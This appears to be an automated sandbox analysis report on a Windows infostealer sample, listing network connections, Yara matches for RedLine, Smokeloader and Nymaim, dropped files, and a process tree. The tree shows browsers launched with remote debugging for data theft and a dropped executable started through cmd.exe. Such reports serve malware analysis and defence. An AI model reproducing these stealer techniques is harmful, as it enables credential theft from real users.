Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.6:50027 version: TLS 1.2

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 19.2.77d2de4f7b.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.77d2de4f7b.exe.4b50e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.77d2de4f7b.exe.4d00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.77d2de4f7b.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.3548213235.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3565368879.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000013.00000002.3570999411.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name:
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: .idata
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: c3e4899de4.exe.17.dr	Static PE information: section name:
Source: c3e4899de4.exe.17.dr	Static PE information: section name: .idata
Source: c3e4899de4.exe.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: 74cb638a83.exe.17.dr	Static PE information: section name:
Source: 74cb638a83.exe.17.dr	Static PE information: section name: .idata
Source: 74cb638a83.exe.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name:
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name: .idata
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C99B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C99B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C99B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C93F280

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9335A0	0_2_6C9335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C946C80	0_2_6C946C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9934A0	0_2_6C9934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99C4A0	0_2_6C99C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4D0	0_2_6C95D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9464C0	0_2_6C9464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976CF0	0_2_6C976CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93D4E0	0_2_6C93D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975C10	0_2_6C975C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C982C10	0_2_6C982C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AAC00	0_2_6C9AAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A542B	0_2_6C9A542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A545C	0_2_6C9A545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945440	0_2_6C945440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C970DD0	0_2_6C970DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9985F0	0_2_6C9985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C960512	0_2_6C960512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95ED10	0_2_6C95ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94FD00	0_2_6C94FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955E90	0_2_6C955E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E680	0_2_6C99E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994EA0	0_2_6C994EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93BEF0	0_2_6C93BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94FEF0	0_2_6C94FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A76E3	0_2_6C9A76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977E10	0_2_6C977E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985600	0_2_6C985600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999E30	0_2_6C999E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C959E50	0_2_6C959E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C973E50	0_2_6C973E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C954640	0_2_6C954640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C982E4E	0_2_6C982E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93C670	0_2_6C93C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6E63	0_2_6C9A6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9877A0	0_2_6C9877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966FF0	0_2_6C966FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93DFE0	0_2_6C93DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977710	0_2_6C977710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C949F00	0_2_6C949F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9660A0	0_2_6C9660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A50C7	0_2_6C9A50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C0E0	0_2_6C95C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9758E0	0_2_6C9758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C947810	0_2_6C947810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B820	0_2_6C97B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984820	0_2_6C984820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C958850	0_2_6C958850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D850	0_2_6C95D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F070	0_2_6C97F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975190	0_2_6C975190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992990	0_2_6C992990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D9B0	0_2_6C96D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93C9A0	0_2_6C93C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95A940	0_2_6C95A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B970	0_2_6C98B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB170	0_2_6C9AB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94D960	0_2_6C94D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9ABA90	0_2_6C9ABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94CAB0	0_2_6C94CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2AB0	0_2_6C9A2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9322A0	0_2_6C9322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964AA0	0_2_6C964AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978AC0	0_2_6C978AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C951AF0	0_2_6C951AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97E2F0	0_2_6C97E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979A60	0_2_6C979A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93F380	0_2_6C93F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A53C8	0_2_6C9A53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D320	0_2_6C97D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C935340	0_2_6C935340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C370	0_2_6C94C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00B9E530	17_2_00B9E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BD78BB	17_2_00BD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BD8860	17_2_00BD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BD7049	17_2_00BD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BD31A8	17_2_00BD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00B94DE0	17_2_00B94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BD2D10	17_2_00BD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BD779B	17_2_00BD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00B94B30	17_2_00B94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_00BC7F36	17_2_00BC7F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C96CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9794D0 appears 90 times

Source: 74cb638a83.exe.17.dr	Static PE information: Data appended to the last section found
Source: random[1].exe0.17.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2835593774.000000006CBB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000013.00000002.3570999411.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.3582703563.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: file.exe	Static PE information: Section: myujmcep ZLIB complexity 0.9948825096899225
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981054155313351
Source: random[1].exe.0.dr	Static PE information: Section: wzzqklpt ZLIB complexity 0.9943540263695521
Source: AEBKFIJEGC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981054155313351
Source: AEBKFIJEGC.exe.0.dr	Static PE information: Section: wzzqklpt ZLIB complexity 0.9943540263695521
Source: skotes.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9981054155313351
Source: skotes.exe.14.dr	Static PE information: Section: wzzqklpt ZLIB complexity 0.9943540263695521
Source: random[1].exe.17.dr	Static PE information: Section: ZLIB complexity 1.0003675622693726
Source: random[1].exe.17.dr	Static PE information: Section: nxovzswj ZLIB complexity 0.9949623414376322
Source: c3e4899de4.exe.17.dr	Static PE information: Section: ZLIB complexity 1.0003675622693726
Source: c3e4899de4.exe.17.dr	Static PE information: Section: nxovzswj ZLIB complexity 0.9949623414376322
Source: random[1].exe0.17.dr	Static PE information: Section: myujmcep ZLIB complexity 0.9951079514107818
Source: 74cb638a83.exe.17.dr	Static PE information: Section: myujmcep ZLIB complexity 0.9951079514107818

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@41/58@5/11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C997030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C997030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\RKF55L0X.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:876:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\AEBKFIJEGC.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2433401671.000000001DC65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2568810479.000000001DC80000.00000004.00000020.00020000.00000000.sdmp, JDAFBKECAKFCAAAKJDAK.0.dr, GHCGDAFCFHIDBGDHCFCB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2828371784.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 34%
Source: file.exe	Virustotal: Detection: 38%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: AEBKFIJEGC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2252,i,2575064197677187059,9976136192055710644,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2240,i,13998815529808110965,14487419510429948634,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2236,i,13329737199814142274,14700275200820245279,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\AEBKFIJEGC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\AEBKFIJEGC.exe "C:\Users\user\Documents\AEBKFIJEGC.exe"
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
